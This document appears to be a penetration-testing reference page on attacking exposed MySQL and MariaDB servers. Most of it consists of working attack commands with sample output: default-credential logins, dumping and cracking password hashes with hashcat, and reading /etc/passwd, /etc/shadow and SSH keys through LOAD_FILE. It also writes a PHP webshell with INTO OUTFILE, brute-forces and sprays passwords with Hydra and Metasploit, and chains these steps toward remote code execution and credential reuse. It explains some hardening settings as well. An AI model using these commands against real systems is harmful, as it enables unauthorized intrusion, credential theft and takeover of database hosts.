Skip to content

MySQL

MySQL and its fork MariaDB are the most-deployed open-source relational databases. They listen on TCP 3306 by default. When exposed to the public internet - usually by accident - the operator-relevant findings are: default/empty credentials on the root account, weak passwords on application users, and (with sufficient privileges) file read/write primitives that can be turned into RCE on the database host.

# 1. Service scan
nmap -sV -sC -p3306 --script mysql* <target>
# 2. Try common defaults
mysql -u root -h <target>
mysql -u root -p<password> -h <target>
mysql -u root -p'' -h <target>
# 3. Enumerate databases and tables
mysql> show databases;
mysql> use <database>;
mysql> show tables;
mysql> select * from <table> limit 10;
# 4. Dump password hashes
mysql> select user, host, authentication_string from mysql.user;
# 5. File read (if FILE privilege)
mysql> select load_file('/etc/passwd');

Success indicator: successful connection, show databases returns more than the system schemas, mysql.user query returns hashes.

MySQL uses a binary client/server protocol over TCP 3306. The handshake establishes a connection, the server sends a salt, the client sends credentials hashed with the salt, the server validates against mysql.user. After auth, the client sends SQL queries as binary-framed text and the server returns result sets in a tabular binary format.

AspectMySQLMariaDB
OriginSun → Oracle (closed-source company, open-source code)Fork of MySQL after Oracle acquired Sun
Lead developerOracle (post-2010)Same people who originally wrote MySQL
Wire protocolIdenticalIdentical
SQL syntaxMostly identicalMostly identical (with some MariaDB-specific extensions)
Default authentication plugincaching_sha2_password (MySQL 8+)mysql_native_password
Default port33063306

For operator purposes they’re interchangeable. The mysql command-line client connects to both. Tooling like Hydra, sqlmap, and Metasploit modules work against either.

Every MySQL install has these built-in databases:

DatabaseContents
information_schemaMetadata about all other databases - tables, columns, privileges. Read-only.
mysqlServer’s internal state - user accounts, password hashes, grants, replication state.
performance_schemaRuntime performance metrics
sysHigher-level views into performance_schema data

The mysql.user table is the prize - it contains username, host pattern, password hash, and granted privileges for every account.

Linux config typically lives at /etc/mysql/mysql.conf.d/mysqld.cnf:

[client]
port = 3306
socket = /var/run/mysqld/mysqld.sock
[mysqld]
skip-host-cache
skip-name-resolve
user = mysql
pid-file = /var/run/mysqld/mysqld.pid
socket = /var/run/mysqld/mysqld.sock
port = 3306
basedir = /usr
datadir = /var/lib/mysql
tmpdir = /tmp
lc-messages-dir = /usr/share/mysql
explicit_defaults_for_timestamp
symbolic-links = 0

By default, MySQL binds to 127.0.0.1 - only accepts local connections. The dangerous deviation is changing bind-address = 0.0.0.0 (or commenting it out) to allow remote connections.

SettingWhy it’s bad
bind-address = 0.0.0.0Listens on all interfaces - accessible from the network/internet
Empty password on rootDefault in older MySQL installs, sometimes left as-is
root@% (user root allowed from any host)Root accessible from any source IP
secure_file_priv = (empty)LOAD_FILE / INTO OUTFILE can read/write anywhere on disk the mysql user can reach
secure_file_priv = NULLFile operations completely disabled (good - the safe setting)
secure_file_priv = /var/lib/mysql-filesFile operations restricted to that directory (good default since MySQL 5.7)
local_infile = 1LOAD DATA LOCAL INFILE can read from the client’s filesystem (relevant when you’re the server in a server-side attack)
general_log = on + general_log_file = ...All queries logged - if you can read the log file, all queries (and parameters) are visible
debug setVerbose debugging exposed
Unencrypted connections acceptedCredentials and query data exposed on the wire

The big two are bind-address = 0.0.0.0 (the precondition for everything) and either empty/default root password OR weak password on a privileged account. With those, the operator gets in immediately.

secure_file_priv empty (not unset, not NULL - explicitly empty) is the setting that turns a credentialed connection into file-read/write/RCE.

Terminal window
sudo nmap 10.129.14.128 -sV -sC -p3306 --script mysql*
PORT STATE SERVICE VERSION
3306/tcp open nagios-nsca Nagios NSCA
| mysql-info:
| Protocol: 10
| Version: 8.0.26-0ubuntu0.20.04.1
| Thread ID: 13
| Capabilities flags: 65535
| Status: Autocommit
| Salt: YTSgMfqvx\x0F\x7F\x16\&\x1EAeK>0
|_ Auth Plugin Name: caching_sha2_password

Key data points:

  • Version: 8.0.26-0ubuntu0.20.04.1 - exact version + distro patch level. Match to CVE database.
  • Auth Plugin: caching_sha2_password (MySQL 8) vs mysql_native_password (MariaDB / older MySQL). Determines hash format and attack tooling.

Other mysql NSE scripts that can run:

mysql-brute # credential brute-force
mysql-databases # list databases (needs creds)
mysql-dump-hashes # dump password hashes (needs creds with mysql.user read)
mysql-empty-password # test for empty password on common accounts
mysql-enum # username enumeration via auth-error timing
mysql-info # banner / version (runs by default in -sV)
mysql-users # list user accounts (needs creds)
mysql-variables # list server variables (needs creds)
mysql-vuln-cve2012-2122 # specific CVE check

Watch out for false positives on automated mysql scripts. The mysql-empty-password script sometimes claims accounts have empty passwords when they don’t - verify manually.

Terminal window
# Empty password
mysql -u root -h 10.129.14.128
# Explicit password (note: NO space between -p and the password)
mysql -u root -pP4SSw0rd -h 10.129.14.128
# Prompt for password
mysql -u root -p -h 10.129.14.128
# Specify database on connect
mysql -u root -pP4SSw0rd -h 10.129.14.128 -D mydb
# Custom port
mysql -u root -pP4SSw0rd -h 10.129.14.128 -P 33060

Connection-refused responses to know:

ERROR 1045 (28000): Access denied for user 'root'@'<your-ip>' (using password: NO)
# Account exists, host pattern allows your IP, but credentials wrong (or empty given when one expected)
ERROR 1130 (HY000): Host '<your-ip>' is not allowed to connect to this MySQL server
# Account exists but host pattern doesn't allow your IP
# Worth probing - sometimes a different source IP (VPN, hop host) works
ERROR 2003 (HY000): Can't connect to MySQL server on '<target>' (111)
# Port closed or filtered
ERROR 2002 (HY000): Can't connect to local MySQL server through socket
# Wrong syntax - used socket connection instead of TCP. Add -h <target>
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
| customer_db |
| billing |
+--------------------+
mysql> use customer_db;
Database changed
mysql> show tables;
+-----------------------+
| Tables_in_customer_db |
+-----------------------+
| customers |
| orders |
| payment_methods |
| sessions |
+-----------------------+
mysql> show columns from customers;
+----------------+--------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------------+--------------+------+-----+---------+----------------+
| id | int(11) | NO | PRI | NULL | auto_increment |
| email | varchar(255) | NO | UNI | NULL | |
| password_hash | varchar(255) | NO | | NULL | |
| name | varchar(255) | YES | | NULL | |
| created_at | datetime | NO | | NULL | |
+----------------+--------------+------+-----+---------+----------------+
mysql> select * from customers limit 5;

The information_schema route to the same info, queryable in one statement:

mysql> select table_schema, table_name, column_name
from information_schema.columns
where table_schema not in ('information_schema','performance_schema','sys','mysql');

Search for interesting columns across the entire server:

mysql> select table_schema, table_name, column_name
from information_schema.columns
where column_name like '%password%'
or column_name like '%token%'
or column_name like '%api_key%'
or column_name like '%secret%';

The mysql.user table holds the auth hashes:

mysql> use mysql;
mysql> select user, host, authentication_string from user;
+------------------+-----------+-------------------------------------------+
| user | host | authentication_string |
+------------------+-----------+-------------------------------------------+
| root | localhost | $A$005$O$$<base64 hash> |
| root | % | $A$005$O$$<base64 hash> |
| app_user | % | *5D7C9CCD<...> |
| backup_service | 10.0.0.% | *81F5E21E<...> |
+------------------+-----------+-------------------------------------------+

Two hash formats:

  • *XXXX... (40 hex chars after the *) - mysql_native_password, SHA1(SHA1(password)). Crackable with hashcat -m 300.
  • $A$005$... - caching_sha2_password (MySQL 8 default), SHA-256 + scrypt-like. Crackable with hashcat -m 7401 (slow).

For older MySQL versions, the column might be named password instead of authentication_string.

mysql> select current_user();
mysql> show grants;
mysql> show grants for 'app_user'@'%';

A “all privileges with grant option” account is operationally root within the database. The FILE privilege specifically enables file read/write:

mysql> show variables like 'secure_file_priv';
+------------------+-----------------------+
| Variable_name | Value |
+------------------+-----------------------+
| secure_file_priv | NULL | -- file ops disabled (safe)
| secure_file_priv | /var/lib/mysql-files/ | -- file ops sandboxed (default 5.7+)
| secure_file_priv | | -- EMPTY = file ops anywhere
+------------------+-----------------------+

Requires FILE privilege and secure_file_priv set to a path or empty:

mysql> select load_file('/etc/passwd');
+--------------------------------------------------------------------+
| load_file('/etc/passwd') |
+--------------------------------------------------------------------+
| root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
... |
+--------------------------------------------------------------------+
mysql> select load_file('/etc/shadow');
-- Empty result if mysql user can't read it (almost always)
mysql> select load_file('/root/.ssh/id_rsa');
-- Empty result unless mysqld runs as root (almost never)

Mysqld typically runs as the mysql Unix user - can read its own data files and world-readable files, but not /etc/shadow or other-users’ private files.

Requires FILE privilege and matching secure_file_priv:

mysql> select '<?php system($_GET["cmd"]); ?>'
into outfile '/var/www/html/shell.php';

If the MySQL server and the web server share a host (common in LAMP setups) and the web root is writable by the mysql user, this drops a PHP shell. Hit it with:

Terminal window
curl 'http://target.com/shell.php?cmd=id'

INTO OUTFILE will fail if the destination file already exists - there’s no overwrite. Pick a new filename per attempt.

With FILE and write access to MySQL’s plugin directory, you can load a UDF that executes shell commands. This is more involved (need to compile a .so for the target architecture, write it to the right path, then CREATE FUNCTION) but is the canonical “creds on a database = RCE on the host” path. See this writeup for the full chain.

Terminal window
hydra -L users.txt -P passwords.txt -t 4 mysql://<target>
# Faster, with a single password against many users (spray)
hydra -L users.txt -p 'Welcome123' mysql://<target>

Or Metasploit:

Terminal window
msf > use auxiliary/scanner/mysql/mysql_login
msf > set RHOSTS <target>
msf > set USER_FILE users.txt
msf > set PASS_FILE passwords.txt
msf > run

Or sqlmap for SQL-injection-targeted MySQL backends (different attack surface - see the SQL Injection cluster).

Default creds → mysql.user dump → cracked hashes → reuse:

  1. mysql -u root -h target (empty password works)
  2. select * from mysql.user; → harvest hashes
  3. hashcat -m 300 → cracked passwords
  4. Try those passwords against other services (SSH, RDP, etc.) on the same network

Read access → app data → application-level findings:

  1. Connect with limited account
  2. Dump the application’s database
  3. Cracked user-password hashes give login on the application itself
  4. Stored data (PII, payment info) is the finding

FILE privilege → INTO OUTFILE → webshell:

  1. Confirm secure_file_priv empty and FILE privilege held
  2. Identify web root path (/var/www/html/, /usr/share/nginx/html/, etc.)
  3. Write PHP/JSP shell, trigger via HTTP

FILE privilege → LOAD_FILE → key material:

  1. Read /etc/passwd to enumerate users
  2. Read /var/lib/mysql/mysql.user.MYD (the raw user table - old MyISAM versions)
  3. Read SSH public keys, web app configs, anything mysql user can read
TaskCommand
Service scannmap -sV -sC -p3306 --script mysql* <target>
Empty-password testmysql -u root -h <target>
Login (no space after -p)mysql -u root -p<password> -h <target>
List databasesshow databases;
Switch databaseuse <db>;
List tablesshow tables;
Table columnsshow columns from <table>; or describe <table>;
Dump hashesselect user, host, authentication_string from mysql.user;
Current userselect current_user();
Show grantsshow grants;
File-read settingshow variables like 'secure_file_priv';
Read fileselect load_file('/path/to/file');
Write fileselect '<content>' into outfile '/path/to/file';
Brute-forcehydra -L users -P pass mysql://<target>